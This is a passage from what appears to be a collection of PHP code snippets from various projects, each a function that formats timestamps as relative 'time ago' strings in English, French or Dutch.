$dateto) < $datefrom):\n $months_difference = 1;\n while (strtotime('-'.$months_difference.' month', $dateto) >= $datefrom)\n {\n $months_difference++;\n }\n \n $datediff = $months_difference;\n $res = ($datediff==1) ? $datediff.' month ago' : $datediff.' months ago';\n\n break;\n // If difference is greater than or equal to 365\n // days, return year. This will be incorrect if\n // for example, you call the function on the 28th April\n // 2008 passing in 29th April 2007. It will return\n // 1 year ago when in actual fact (yawn!) not quite\n // a year has gone by\n case(strtotime('-1 year', $dateto) >= $datefrom):\n $year_difference = 1;\n while (strtotime('-'.$year_difference.' year', $dateto) >= $datefrom)\n {\n $year_difference++;\n }\n \n $datediff = $year_difference;\n $res = ($datediff==1) ? $datediff.' year ago' : $datediff.' years ago';\n break;\n \n }\n return $res;\n }", "public function getTimeElapsed(): string\n {\n $now = new DateTime('now');\n $ago = new DateTime($this->datetime);\n $diff = $ago->diff($now);\n if (!empty($diff->y)) {\n $age = $diff->y . 'year';\n $age = $age . ($diff->y > 1 ? 's' : '');\n } elseif ($diff->m > 0) {\n $age = $diff->m . 'month';\n $age = $age . ($diff->m > 1 ? 's' : '');\n } elseif ($diff->d > 0) {\n $age = $diff->d . 'day';\n $age = $age . ($diff->d > 1 ? 's' : '');\n } elseif ($diff->h > 0) {\n $age = $diff->h . 'hour';\n $age = $age . ($diff->h > 1 ? 's' : '');\n } elseif ($diff->i > 0) {\n $age = $diff->i . 'minute';\n $age = $age . ($diff->i > 1 ? 's' : '');\n } else {\n $age = $diff->s . 'second';\n $age = $age . ($diff->s > 1 ? 's' : '');\n }\n $ageWithPostfix = $age . ' ago';\n return $ageWithPostfix;\n }", "function prettyDate($date){\n $time = strtotime($date);\n $now = time();\n $ago = $now - $time;\n if($ago < 60){\n $when = round($ago);\n $s = ($when == 1)?\"second\":\"seconds\";\n return \"$when $s ago\";\n }elseif($ago < 3600){\n $when = round($ago / 60);\n $m = ($when == 1)?\"minute\":\"minutes\";\n return \"$when $m ago\";\n }elseif($ago >= 3600 && $ago < 86400){\n $when = round($ago / 60 / 60);\n $h = ($when == 1)?\"hour\":\"hours\";\n return \"$when $h ago\";\n }elseif($ago >= 86400 && $ago < 2629743.83){\n $when = round($ago / 60 / 60 / 24);\n $d = ($when == 1)?\"day\":\"days\";\n return \"$when $d ago\";\n }elseif($ago >= 2629743.83 && $ago < 31556926){\n $when = round($ago / 60 / 60 / 24 / 30.4375);\n $m = ($when == 1)?\"month\":\"months\";\n return \"$when $m ago\";\n }else{\n $when = round($ago / 60 / 60 / 24 / 365);\n $y = ($when == 1)?\"year\":\"years\";\n return \"$when $y ago\";\n }\n}", "public function getTimeagoAttribute()\n\t{\n\t \t//$date = \\Carbon\\Carbon::createFromTimeStamp(strtotime($this->created_at))->diffForHumans();\n\n\t\tsetLocale(LC_TIME, 'Dutch');\n\t\t$date = Str::title($this->created_at->formatLocalized('%A %d %B %Y'));\n\n\t\treturn $date;\n\t}", "function relativeTime($time)\n{\n $delta = strtotime('+2 hours') - strtotime($time);\n if ($delta < 2 * MINUTE) {\n return \"1 min ago\";\n }\n if ($delta < 45 * MINUTE) {\n return floor($delta / MINUTE) . \" min ago\";\n }\n if ($delta < 90 * MINUTE) {\n return \"1 hour ago\";\n }\n if ($delta < 24 * HOUR) {\n return floor($delta / HOUR) . \" hours ago\";\n }\n if ($delta < 48 * HOUR) {\n return \"yesterday\";\n }\n if ($delta < 30 * DAY) {\n return floor($delta / DAY) . \" days ago\";\n }\n if ($delta < 12 * MONTH) {\n $months = floor($delta / DAY / 30);\n return $months <= 1 ? \"1 month ago\" : $months . \" months ago\";\n } else {\n $years = floor($delta / DAY / 365);\n return $years <= 1 ? \"1 year ago\" : $years . \" years ago\";\n }\n}", "function jr_ad_posted($m_time) {\r\n $time = get_post_time('G', true);\r\n $time_diff = time() - $time;\r\n\r\n if ( $time_diff > 0 && $time_diff < 24*60*60 )\r\n $h_time = sprintf( __('%s ago', APP_TD), human_time_diff( $time ) );\r\n else\r\n $h_time = mysql2date(get_option('date_format'), $m_time);\r\n echo $h_time;\r\n}", "function formattime_ago($time) {\n\t$period = $GLOBALS['i18']['time_period'];\n\t$periods = $GLOBALS['i18']['time_periods'];\n\t$lengths = array(\"60\",\"60\",\"24\",\"7\",\"4.35\",\"12\",\"10\");\n\n\t$now = time();\n\t$difference = $now - $time;\n\t$tense = $GLOBALS['i18']['ago'];\n\n\tfor($j = 0; $difference >= $lengths[$j] && $j < count($lengths)-1; $j++) {\n\t\t$difference /= $lengths[$j];\n\t}\n\t$difference = round($difference);\n\t\n\tif($difference > 1)\n\t\t$period_lbl = $periods[$j];\n\telse\n\t\t$period_lbl = $period[$j];\n\t\t\n\treturn str_replace('%', $difference.\" \".$period_lbl, $tense);\n}", "public function humanFriendly($format = 'M j, Y \\a\\t g:ia')\n{\n\t$diff=$this->diff();$t=$this->getTimestamp();if(!$diff->d){$s=$this->difference();return$t<time()?\"$s ago\":\"in $s\";}return$this->format($format);\n}", "function ago($time) {\n $timediff=time()-$time;\n $days=intval($timediff/86400);\n $remain=$timediff%86400;\n $hours=intval($remain/3600);\n $remain=$remain%3600;\n $mins=intval($remain/60);\n $secs=$remain%60;\n\n if ($secs>=0) $timestring = $secs.\"s\";//\"0m\".\n if ($mins>0) $timestring = $mins.\"m\";//.$secs.\"s\";\n if ($hours>0) $timestring = $hours.\"h\";//.$mins.\"m\";\n if ($days>0) $timestring = $days.\"d\";//.$hours.\"h\";\n\n return $timestring;\n}", "public static function ago($t){\n\t\treturn date('Y-m-d H:i:s', time()-$t);\n\t}", "private function format_date($date) {\n \n $etime = strtotime($this->now) - strtotime($date);\n \n if ($etime < 1) {\n return 'just now';\n }\n \n $a = array( 12 * 30 * 24 * 60 * 60 => 'year',\n 30 * 24 * 60 * 60 => 'month',\n 24 * 60 * 60 => 'day',\n 60 * 60 => 'hour',\n 60 => 'minute',\n 1 => 'second'\n );\n \n foreach ($a as $secs => $str) {\n $d = $etime / $secs;\n if ($d >= 1) {\n $r = round($d);\n return $r . ' ' . $str . ($r > 1 ? 's' : '').' ago';\n }\n }\n }", "function time_ago( $type = 'post' ) {\n\n $d = 'comment' == $type ? 'get_comment_time' : 'get_post_time';\n return human_time_diff($d('U'), current_time('timestamp')) . \" \" . __('ago');\n\n}", "public static function get_ago_translation() {\n\t\t// Get field value from settings.\n\t\t$text = IBX_WPFomo_Admin::get_settings( 'translate_ago' );\n\t\tif ( ! $text || empty( $text ) ) {\n\t\t\treturn esc_html__( 'ago', 'ibx-wpfomo' );\n\t\t} elseif ( '-' == $text ) {\n\t\t\treturn '';\n\t\t}\n\n\t\treturn esc_attr( $text );\n\t}", "public function publishedString() \n {\n $time = time() - strtotime($this->publish_date);\n $tokens = array (\n 31536000 => 'year',\n 2592000 => 'month',\n 604800 => 'week',\n 86400 => 'day',\n 3600 => 'hour',\n 60 => 'minute',\n 1 => 'second'\n );\n foreach ($tokens as $unit => $text) {\n if ($time < $unit) continue;\n $numberOfUnits = floor($time / $unit);\n return $numberOfUnits.' '.$text.(($numberOfUnits>1)?'s':'') . ' ago';\n }\n }", "function cal_times($times){\n\t\t$diffTime = time()-strtotime($times);\n\t\t//echo $diffTime; exit();\n\t\tif($diffTime>31104000){\n\n\t\t\t$time = ceil($diffTime/31104000);\n\n\t\t\treturn $time.' year ago';\n\n\t\t}elseif($diffTime>2492000){\n\n\t\t\t$time = ceil($diffTime/2492000);\n\n\t\t\treturn $time.' months ago';\n\n\t\t}elseif($diffTime>86400){\n\n\t\t\t$time = ceil($diffTime/86400);\n\n\t\t\treturn $time.' days ago';\n\n\t\t}elseif($diffTime>3600){\n\n\t\t\t$time = ceil($diffTime/3600);\n\n\t\t\treturn $time.' hours ago';\n\n\t\t}elseif($diffTime>60){\n\n\t\t\t$time = ceil($diffTime/60);\n\n\t\t\treturn $time.' minutes ago';\n\n\t\t}else{\n\n\t\t\treturn $diffTime.' second ago';\n\n\t\t}\n\n\t}", "function time_ago($d1, $d2){\r\n\t$d1 = (is_string($d1) ? strtotime($d1) : $d1);\r\n\t$d2 = (is_string($d2) ? strtotime($d2) : $d2);\r\n\r\n\t$diff_secs = abs($d1 - $d2);\r\n\t$base_year = min(date(\"Y\", $d1), date(\"Y\", $d2));\r\n\r\n\t$diff = mktime(0, 0, $diff_secs, 1, 1, $base_year);\r\n\t$diffArray = array(\r\n\t\t\"years\" => date(\"Y\", $diff) - $base_year,\r\n\t\t\"months_total\" => (date(\"Y\", $diff) - $base_year) * 12 + date(\"n\", $diff) - 1,\r\n\t\t\"months\" => date(\"n\", $diff) - 1,\r\n\t\t\"days_total\" => floor($diff_secs / (3600 * 24)),\r\n\t\t\"days\" => date(\"j\", $diff) - 1,\r\n\t\t\"hours_total\" => floor($diff_secs / 3600),\r\n\t\t\"hours\" => date(\"G\", $diff),\r\n\t\t\"minutes_total\" => floor($diff_secs / 60),\r\n\t\t\"minutes\" => (int) date(\"i\", $diff),\r\n\t\t\"seconds_total\" => $diff_secs,\r\n\t\t\"seconds\" => (int) date(\"s\", $diff)\r\n\t);\r\n\tif($diffArray['days'] > 0){\r\n\t\tif($diffArray['days'] == 1){\r\n\t\t\t$days = '1 day';\r\n\t\t}else{\r\n\t\t\t$days = $diffArray['days'] . ' days';\r\n\t\t}\r\n\t\treturn $days . ' and ' . $diffArray['hours'] . ' hours ago';\r\n\t}else if($diffArray['hours'] > 0){\r\n\t\tif($diffArray['hours'] == 1){\r\n\t\t\t$hours = '1 hour';\r\n\t\t}else{\r\n\t\t\t$hours = $diffArray['hours'] . ' hours';\r\n\t\t}\r\n\t\treturn $hours . ' and ' . $diffArray['minutes'] . ' minutes ago';\r\n\t}else if($diffArray['minutes'] > 0){\r\n\t\tif($diffArray['minutes'] == 1){\r\n\t\t\t$minutes = '1 minute';\r\n\t\t}else{\r\n\t\t\t$minutes = $diffArray['minutes'] . ' minutes';\r\n\t\t}\r\n\t\treturn $minutes . ' and ' . $diffArray['seconds'] . ' seconds ago';\r\n\t}else{\r\n\t\treturn 'Less than a minute ago';\r\n\t}\r\n}", "function smarty_modifier_agoify($string)\n{\n $time = time() - $string; // to get the time since that moment\n\n $tokens = array (\n 31536000 => 'year',\n 2592000 => 'month',\n 604800 => 'week',\n 86400 => 'day',\n 3600 => 'hour',\n 60 => 'minute',\n 1 => 'second'\n );\n\n foreach ($tokens as $unit => $text) {\n if ($time < $unit){\n \n }else{\n $numberOfUnits = floor($time / $unit);\n break;\n }\n }\n return $numberOfUnits.' '.$text.(($numberOfUnits>1)?'s':'').' ago';\n}", "function adelle_theme_time_ago( $type = 'comment' ) {\r\n $d = 'comment' == $type ? 'get_comment_time' : 'get_post_time';\r\n return human_time_diff($d( 'U' ), current_time( 'timestamp' )) . \" \" . __( 'ago', 'adelle-theme' );\r\n}", "function getDateTimeDiff($date)\n {\n $now_timestamp = strtotime(date('Y-m-d H:i:s'));\n $diff_timestamp = $now_timestamp - strtotime($date);\n\n if ($diff_timestamp < 60){\n return 'few second ago';\n }elseif ($diff_timestamp >= 60 && $diff_timestamp<3600){\n return round($diff_timestamp/60).' mins ago';\n\n }elseif ($diff_timestamp >= 3600 && $diff_timestamp<86400){\n return round($diff_timestamp/60).' hours ago';\n\n }elseif ($diff_timestamp >= 86400 && $diff_timestamp<(86400*30)){\n return round($diff_timestamp/60).' days ago';\n\n }elseif ($diff_timestamp >= (86400*30) && $diff_timestamp<(86400*365)){\n return round($diff_timestamp/60).' months ago';\n\n }else {\n return round($diff_timestamp/(86400*365)).' years ago';\n }\n\n echo date('Y-m-d H:i:s').'<br>';\n echo getDateTimeDiff('1976-04-13 22:28:00').'<br>';\n echo getDateTimeDiff('1982-03-26 21:35:00').'<br>';\n echo getDateTimeDiff('2012-03-16 14:40:00');\n }", "public static function ago($timestamp) {\n $difference = time() - $timestamp;\n // Having the full phrase means that it is fully localisable if the phrasing is different.\n $periods = array(\n lang::get(\"{1} second ago\"),\n lang::get(\"{1} minute ago\"),\n lang::get(\"{1} hour ago\"),\n lang::get(\"Yesterday\"),\n lang::get(\"{1} week ago\"),\n lang::get(\"{1} month ago\"),\n lang::get(\"{1} year ago\"),\n lang::get(\"{1} decade ago\")\n );\n $periodsPlural = array(\n lang::get(\"{1} seconds ago\"),\n lang::get(\"{1} minutes ago\"),\n lang::get(\"{1} hours ago\"),\n lang::get(\"{1} days ago\"),\n lang::get(\"{1} weeks ago\"),\n lang::get(\"{1} months ago\"),\n lang::get(\"{1} years ago\"),\n lang::get(\"{1} decades ago\")\n );\n $lengths = array(\"60\", \"60\", \"24\", \"7\", \"4.35\", \"12\", \"10\");\n for ($j = 0; (($difference >= $lengths[$j]) && ($j < 7)); $j++) {\n $difference /= $lengths[$j];\n }\n $difference = round($difference);\n if ($difference == 1) {\n $text = str_replace('{1}', $difference, $periods[$j]);\n }\n else {\n $text = str_replace('{1}', $difference, $periodsPlural[$j]);\n }\n return $text;\n }", "function getTheFormattedDateTime($dateTimeString)\n{\n $_date = strtotime($dateTimeString);\n\n if (intval(date('Y', $_date)) == intval(date('Y', time()))) {\n # If same year\n $timeDifference = floor((time() - $_date) / 60); # Minutes\n\n if ($timeDifference <= 43200) { # 30 * 24 * 60 = 30 days\n # less then 30 day\n if ($timeDifference <= 1440) { # 24 * 60 = 1 days\n # if same day\n if ($timeDifference <= 60) { # 60 min = 1 hour\n # same hour\n return $timeDifference . \" min ago\";\n } else {\n return floor($timeDifference / 60) . \" hour ago\";\n }\n } else {\n return floor($timeDifference / 1440) . \" days ago\";\n }\n } else {\n return date('j M, g:ia', $_date);\n }\n } else {\n return date('j M Y, g:ia', $_date);\n }\n}", "function ago($datefrom,$dateto=-1)\r\n\t{\r\n\t\t// its an error rather than the epoch\r\n\r\n\t\tif($datefrom instanceof \\MongoDate)\r\n\t\t\t$datefrom = $datefrom->sec;\r\n\t\tif($dateto instanceof \\MongoDate)\r\n\t\t\t$dateto=$dateto->sec;\r\n\r\n\t\tif($datefrom==0) { return \"A long time ago\"; }\r\n\t\tif($dateto==-1) { $dateto = time(); }\r\n\r\n\t\t// Make the entered date into Unix timestamp from MySQL datetime field\r\n\r\n\t\t$datefrom = $datefrom;\r\n\r\n\t\t// Calculate the difference in seconds betweeen\r\n\t\t// the two timestamps\r\n\r\n\t\t$difference = $dateto - $datefrom;\r\n\r\n\t\t// Based on the interval, determine the\r\n\t\t// number of units between the two dates\r\n\t\t// From this point on, you would be hard\r\n\t\t// pushed telling the difference between\r\n\t\t// this function and DateDiff. If the $datediff\r\n\t\t// returned is 1, be sure to return the singular\r\n\t\t// of the unit, e.g. 'day' rather 'days'\r\n\r\n\t\tswitch(true)\r\n\t\t{\r\n\t\t\t// If difference is less than 60 seconds,\r\n\t\t\t// seconds is a good interval of choice\r\n\t\t\tcase(strtotime('-1 min', $dateto) < $datefrom):\r\n\t\t\t\t$datediff = $difference;\r\n\t\t\t\t$res = ($datediff==1) ? $datediff.' second ago' : $datediff.' seconds ago';\r\n\t\t\t\tbreak;\r\n\t\t\t\t// If difference is between 60 seconds and\r\n\t\t\t\t// 60 minutes, minutes is a good interval\r\n\t\t\tcase(strtotime('-1 hour', $dateto) < $datefrom):\r\n\t\t\t\t$datediff = floor($difference / 60);\r\n\t\t\t\t$res = ($datediff==1) ? $datediff.' minute ago' : $datediff.' minutes ago';\r\n\t\t\t\tbreak;\r\n\t\t\t\t// If difference is between 1 hour and 24 hours\r\n\t\t\t\t// hours is a good interval\r\n\t\t\tcase(strtotime('-1 day', $dateto) < $datefrom):\r\n\t\t\t\t$datediff = floor($difference / 60 / 60);\r\n\t\t\t\t$res = ($datediff==1) ? $datediff.' hour ago' : $datediff.' hours ago';\r\n\t\t\t\tbreak;\r\n\t\t\t\t// If difference is between 1 day and 7 days\r\n\t\t\t\t// days is a good interval\r\n\t\t\tcase(strtotime('-1 week', $dateto) < $datefrom):\r\n\t\t\t\t$day_difference = 1;\r\n\t\t\t\twhile (strtotime('-'.$day_difference.' day', $dateto) >= $datefrom)\r\n\t\t\t\t{\r\n\t\t\t\t\t$day_difference++;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$datediff = $day_difference;\r\n\t\t\t\t$res = ($datediff==1) ? 'yesterday' : $datediff.' days ago';\r\n\t\t\t\tbreak;\r\n\t\t\t\t// If difference is between 1 week and 30 days\r\n\t\t\t\t// weeks is a good interval\r\n\t\t\tcase(strtotime('-1 month', $dateto) < $datefrom):\r\n\t\t\t\t$week_difference = 1;\r\n\t\t\t\twhile (strtotime('-'.$week_difference.' week', $dateto) >= $datefrom)\r\n\t\t\t\t{\r\n\t\t\t\t\t$week_difference++;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$datediff = $week_difference;\r\n\t\t\t\t$res = ($datediff==1) ? 'last week' : $datediff.' weeks ago';\r\n\t\t\t\tbreak;\r\n\t\t\t\t// If difference is between 30 days and 365 days\r\n\t\t\t\t// months is a good interval, again, the same thing\r\n\t\t\t\t// applies, if the 29th February happens to exist\r\n\t\t\t\t// between your 2 dates, the function will return\r\n\t\t\t\t// the 'incorrect' value for a day\r\n\t\t\tcase(strtotime('-1 year', $dateto) < $datefrom):\r\n\t\t\t\t$months_difference = 1;\r\n\t\t\t\twhile (strtotime('-'.$months_difference.' month', $dateto) >= $datefrom)\r\n\t\t\t\t{\r\n\t\t\t\t\t$months_difference++;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$datediff = $months_difference;\r\n\t\t\t\t$res = ($datediff==1) ? $datediff.' month ago' : $datediff.' months ago';\r\n\r\n\t\t\t\tbreak;\r\n\t\t\t\t// If difference is greater than or equal to 365\r\n\t\t\t\t// days, return year. This will be incorrect if\r\n\t\t\t\t// for example, you call the function on the 28th April\r\n\t\t\t\t// 2008 passing in 29th April 2007. It will return\r\n\t\t\t\t// 1 year ago when in actual fact (yawn!) not quite\r\n\t\t\t\t// a year has gone by\r\n\t\t\tcase(strtotime('-1 year', $dateto) >= $datefrom):\r\n\t\t\t\t$year_difference = 1;\r\n\t\t\t\twhile (strtotime('-'.$year_difference.' year', $dateto) >= $datefrom)\r\n\t\t\t\t{\r\n\t\t\t\t\t$year_difference++;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$datediff = $year_difference;\r\n\t\t\t\t$res = ($datediff==1) ? $datediff.' year ago' : $datediff.' years ago';\r\n\t\t\t\tbreak;\r\n\r\n\t\t}\r\n\t\treturn $res;\r\n\t}", "function time_elapsed_string($datetime, $after, $full = false) {\n global $lang; /* on récupere la var global donné par config */\n $now = new DateTime;\n $ago = new DateTime($datetime);\n $diff = $now->diff($ago);\n\n $diff->w = floor($diff->d / 7);\n $diff->d -= $diff->w * 7;\n\n $string = array(\n 'y' => $lang[\"y\"],\n 'm' => $lang[\"m\"],\n 'w' => $lang[\"w\"],\n 'd' => $lang[\"d\"],\n 'h' => $lang[\"h\"],\n 'i' => $lang[\"i\"],\n 's' => $lang[\"s\"],\n );\n foreach ($string as $k => &$v) {\n if ($diff->$k) {\n $v = $diff->$k . ' ' . $v . ($diff->$k > 1 ? 's' : '');\n } else {\n unset($string[$k]);\n }\n }\n\n if (!$full) $string = array_slice($string, 0, 1);\n if ($lang[\"ago\"] == \"ago\")\n return $string ? implode(', ', $string) . ' ' . $after : 'just now';\n else {\n return $string ? $after . ' ' . implode(', ', $string) : \"à l'instant\";\n }\n}", "function _lean_output_ago_date($date_raw, $show_date='true') {\n \n /**\n * Show Today, Yesterday or full date\n */\n $date_dd_mm_yyyy = format_date($date_raw, 'custom', 'd-m-Y');\n $todays_date = format_date(time(), 'custom', 'd-m-Y');\n $display_date = format_date($date_raw, 'custom', 'l, jS F');\n $posts_date = $date_dd_mm_yyyy;\n \n if ($todays_date == $posts_date) {\n $display_date = 'Today';\n } else {\n $dateDiff = strtotime($todays_date) - strtotime($posts_date);\n $fullDays = floor($dateDiff/(60*60*24));\n if ($fullDays <= 1) {\n $display_date = 'Yesterday';\n //} else if ($fullDays <= 6) {\n // $display_date = 'On '. format_date($date_raw, 'custom', 'l') . ',';\n //} else if (!$show_date) {\n // $display_date = '';\n }\n }\n return $display_date;\n}", "public function getCreatedAttribute() {\n $timestamp = strtotime($this->created_at);\t\n\t \n $strTime = array(\"second\", \"minute\", \"hour\", \"day\", \"month\", \"year\");\n $length = array(\"60\",\"60\",\"24\",\"30\",\"12\",\"10\");\n\n $currentTime = time();\n if($currentTime >= $timestamp) {\n $diff = time()- $timestamp;\n for($i = 0; $diff >= $length[$i] && $i < count($length)-1; $i++) {\n $diff = $diff / $length[$i];\n }\n\n $diff = round($diff);\n return $diff . \" \" . $strTime[$i] . \"(s) ago \";\n }\n }", "function date_since($timestamp, $more_infos = false, $with_hours = false){\n\t$diff = abs(time() - $timestamp);\n\n\tif($with_hours){\n\t\tif($diff < 60){//If less than one minute\n\t\t\treturn $diff.' secondes';\n\t\t}\n\t\tif($diff < 3600){//If less than one hour\n\t\t\t$m=floor($diff / 60);\n\t\t\tif($m == 1){\n\t\t\t\treturn '1 minute';\n\t\t\t}\n\t\t\treturn $m.' minutes';\n\t\t}\n\t\tif($diff < 86400){//If less than one day\n\t\t\t$h=floor($diff / 3600);\n\t\t\tif($h == 1){\n\t\t\t\treturn '1 heure';\n\t\t\t}\n\t\t\treturn $h.' heures';\n\t\t}\n\t} else {\n\t\tif($diff < 86400){\n\t\t\treturn \"aujourd'hui\";\n\t\t}\n\t}\n\n\t//If more than one day:\n\n\t$day=(int)date('j', $diff);\n\t$mon=(int)date('n', $diff) - 1;\n\t$yea=(int)date('Y', $diff) - 1970;\n\n\t$tmp=array();\n\n\tif($day > 0){\n\t\tif($day == 1){\n\t\t\t$tmp[]='1 jour';\n\t\t}else{\n\t\t\t$tmp[]=$day.' jours';\n\t\t}\n\t}\n\tif($mon > 0){\n\t\tif($mon == 1){\n\t\t\t$tmp[]='1 mois';\n\t\t}else{\n\t\t\t$tmp[]=$mon.' mois';\n\t\t}\n\t}\n\tif($yea > 0){\n\t\tif($yea == 1){\n\t\t\t$tmp[]='1 an';\n\t\t}else{\n\t\t\t$tmp[]=$yea.' ans';\n\t\t}\n\t}\n\tif(!$more_infos){\n\t\treturn array_pop($tmp);\n\t}\n\t$separator=array(', ', ' et ', '');\n\t$final=array();\n\tforeach($tmp as $value){\n\t\t$final[]=$value.array_pop($separator);\n\t}\n\treturn implode(array_reverse($final));\n}", "function relative_time($time) {\r\n if(!is_numeric($time)) $time = strtotime($time);\r\n\r\n $elapsed = time() - $time;\r\n\r\n if($elapsed <= 1) {\r\n return 'Just now';\r\n }\r\n\r\n $times = array(\r\n 31104000 => 'year',\r\n 2592000 => 'month',\r\n 604800 => 'week',\r\n 86400 => 'day',\r\n 3600 => 'hour',\r\n 60 => 'minute',\r\n 1 => 'second'\r\n );\r\n\r\n foreach($times as $seconds => $title) {\r\n $rounded = $elapsed / $seconds;\r\n\r\n if($rounded > 1) {\r\n $rounded = round($rounded);\r\n return $rounded . ' ' . pluralise($rounded, $title) . ' ago';\r\n }\r\n }\r\n}", "function tfc_ago( $time ) {\n\t$periods = array( \"second\", \"minute\", \"hour\", \"day\", \"week\", \"month\", \"year\", \"decade\" );\n\t$lengths = array( \"60\", \"60\", \"24\", \"7\", \"4.35\", \"12\", \"10\" );\n\n\t$now = time();\n\n\t$difference = $now - $time;\n\t$tense = \"ago\";\n\n\tfor ( $j = 0; $difference >= $lengths[$j] && $j < count( $lengths )-1; $j++ ) {\n\t\t$difference /= $lengths[$j];\n\t}\n\n\t$difference = round( $difference );\n\n\tif ( $difference != 1 ) {\n\t\t$periods[$j] .= \"s\";\n\t}\n\n\treturn $difference $periods[$j] . \" ago \";\n}", "public static function relativeTime($timestamp, $now = null, $format = null) {\r\n \r\n if ($timestamp instanceof DateTime) {\r\n $timestamp = $timestamp->getTimestamp(); \r\n }\r\n \r\n if ($now instanceof DateTime) {\r\n $now = $now->getTimestamp(); \r\n }\r\n \r\n if (!filter_var($now, FILTER_VALIDATE_INT)) {\r\n $now = time();\r\n }\r\n \r\n $diff = $now - $timestamp;\r\n $format = $format; // to shut up CodeClimate\r\n \r\n if ($diff < 60) {\r\n return sprintf($diff > 1 ? '%s seconds ago' : 'a second ago', $diff);\r\n }\r\n \r\n $diff = floor($diff / 60);\r\n \r\n if ($diff < 60) {\r\n return sprintf($diff > 1 ? '%s minutes ago' : 'one minute ago', $diff);\r\n }\r\n \r\n $diff = floor($diff / 60);\r\n \r\n if ($diff < 24) {\r\n return sprintf($diff > 1 ? '%s hours ago' : 'an hour ago', $diff);\r\n }\r\n \r\n $diff = floor($diff / 24);\r\n \r\n if ($diff < 7) {\r\n return sprintf($diff > 1 ? '%s days ago' : 'yesterday', $diff);\r\n }\r\n \r\n if ($diff < 30) {\r\n $diff = floor($diff / 7);\r\n return sprintf($diff > 1 ? '%s weeks ago' : 'one week ago', $diff);\r\n }\r\n \r\n $diff = floor($diff / 30);\r\n \r\n if ($diff < 12) {\r\n return sprintf($diff > 1 ? '%s months ago' : 'last month', $diff);\r\n }\r\n \r\n $diff = date('Y', $now) - date('Y', $timestamp);\r\n \r\n return sprintf($diff > 1 ? '%s years ago' : 'last year', $diff);\r\n \r\n }", "public static function smartDaysAgo($days) {\n\t\t$r = '';\n\t\tif($days == 1) {\n\t\t\t$r .= 'yesterday';\n\t\t} else {\n\t\t\t$r .= qstr::smartPlural($days, 'days') . ' ago';\n\t\t}\n\t\treturn $r;\n\t}", "function timeSincePublish($pub_date){\r\n\t\t\t$now_date = date('U');\r\n\t\t\t$since_date = $now_date - $pub_date;\r\n\t\t\t$since_hours = floor($since_date / 60 / 60);\r\n\t\t\t$since_days = floor($since_hours / 24);\r\n\t\t\r\n\t\t\t?><span style=\"display:none;\"><?php echo $pub_date; ?></span><?php\r\n\t\t\r\n\t\t\tif($since_hours<1 && $since_days<1){\r\n\t\t\t?><em>recently</em><?php\r\n\t\t\t}elseif($since_hours>=1 && $since_days<1){\r\n\t\t\t?><em><?=$since_hours?> hour<?= ($since_hours>1 ? 's':''); ?> ago</em><?php\r\n\t\t\t}elseif($since_hours>1 && $since_days>=1){\r\n\t\t\t?><em><?= ($since_days==1 ? 'yesterday':$since_days.' days ago'); ?></em><?php\r\n\t\t\t}\r\n\t\t}", "function autoblog_time2str($ts)\n\t{\n\t\tif(!ctype_digit($ts))\n\t\t\t$ts = strtotime($ts);\n\n\t\t$diff = current_time( 'timestamp' ) - $ts;\n\t\tif($diff == 0)\n\t\t\treturn __('now', 'autoblogtext');\n\t\telseif($diff > 0)\n\t\t{\n\t\t\t$day_diff = floor($diff / 86400);\n\t\t\tif($day_diff == 0)\n\t\t\t{\n\t\t\t\tif($diff < 60) return __('just now', 'autoblogtext');\n\t\t\t\tif($diff < 120) return __('1 minute ago', 'autoblogtext');\n\t\t\t\tif($diff < 3600) return floor($diff / 60) . __(' minutes ago', 'autoblogtext');\n\t\t\t\tif($diff < 7200) return __('1 hour ago', 'autoblogtext');\n\t\t\t\tif($diff < 86400) return floor($diff / 3600) . __(' hours ago', 'autoblogtext');\n\t\t\t}\n\t\t\tif($day_diff == 1) return __('Yesterday', 'autoblogtext');\n\t\t\tif($day_diff < 7) return $day_diff . __(' days ago', 'autoblogtext');\n\t\t\tif($day_diff < 31) return ceil($day_diff / 7) . __(' weeks ago', 'autoblogtext');\n\t\t\tif($day_diff < 60) return __('last month', 'autoblogtext');\n\t\t\treturn date('F Y', $ts);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$diff = abs($diff);\n\t\t\t$day_diff = floor($diff / 86400);\n\t\t\tif($day_diff == 0)\n\t\t\t{\n\t\t\t\tif($diff < 120) return __('in a minute', 'autoblogtext');\n\t\t\t\tif($diff < 3600) return __('in ', 'autoblogtext') . floor($diff / 60) . __(' minutes', 'autoblogtext');\n\t\t\t\tif($diff < 7200) return __('in an hour', 'autoblogtext');\n\t\t\t\tif($diff < 86400) return __('in ', 'autoblogtext') . floor($diff / 3600) . __(' hours', 'autoblogtext');\n\t\t\t}\n\t\t\tif($day_diff == 1) return __('Tomorrow', 'autoblogtext');\n\t\t\tif($day_diff < 4) return date('l', $ts);\n\t\t\tif($day_diff < 7 + (7 - date('w'))) return __('next week', 'autoblogtext');\n\t\t\tif(ceil($day_diff / 7) < 4) return __('in ', 'autoblogtext') . ceil($day_diff / 7) . __(' weeks', 'autoblogtext');\n\t\t\tif(date('n', $ts) == date('n') + 1) return __('next month', 'autoblogtext');\n\t\t\treturn date('F Y', $ts);\n\t\t}\n\t}", "function howOld($date){\r\n\r\n\t\t$age = time() - strtotime($date);\r\n\r\n\t\t$hours = round($age/60/60, 0);\r\n\r\n\t\tif ($hours <= 23)\r\n\t\t{\r\n\t\t\t$units = 'hours';\r\n\t\t}\r\n\t\telse if ($hours >= 24)\r\n\t\t{\r\n\t\t\t$hours = round($hours / 24, 0);\r\n\t\t\t$units = 'day';\r\n\r\n\t\t\tif ($hours > 1)\r\n\t\t\t{\r\n\t\t\t\t$units = 'days';\r\n\t\t\t}\r\n\t\t} \r\n\r\n\t\treturn $hours.' '.$units;\r\n}", "public function getCreatedForHumans() : string{\n return $this->created_at->diffForHumans(now());\n }", "function cjpopups_time_ago($ptime){\n $etime = time() - $ptime;\n if ($etime < 1){\n return __('Just now', 'cjpopups');\n }\n $a = array(\n \t12 * 30 * 24 * 60 * 60 => 'year',\n\t\t30 * 24 * 60 * 60 => 'month',\n\t\t24 * 60 * 60 => 'day',\n\t\t60 * 60 => 'hour',\n\t\t60 => 'minute',\n\t\t1 => 'second',\n );\n $singular = array(\n \t'year' => __('year', 'cjpopups'),\n\t\t'month' => __('month', 'cjpopups'),\n\t\t'day' => __('day', 'cjpopups'),\n\t\t'hour' => __('hour', 'cjpopups'),\n\t\t'minute' => __('minute', 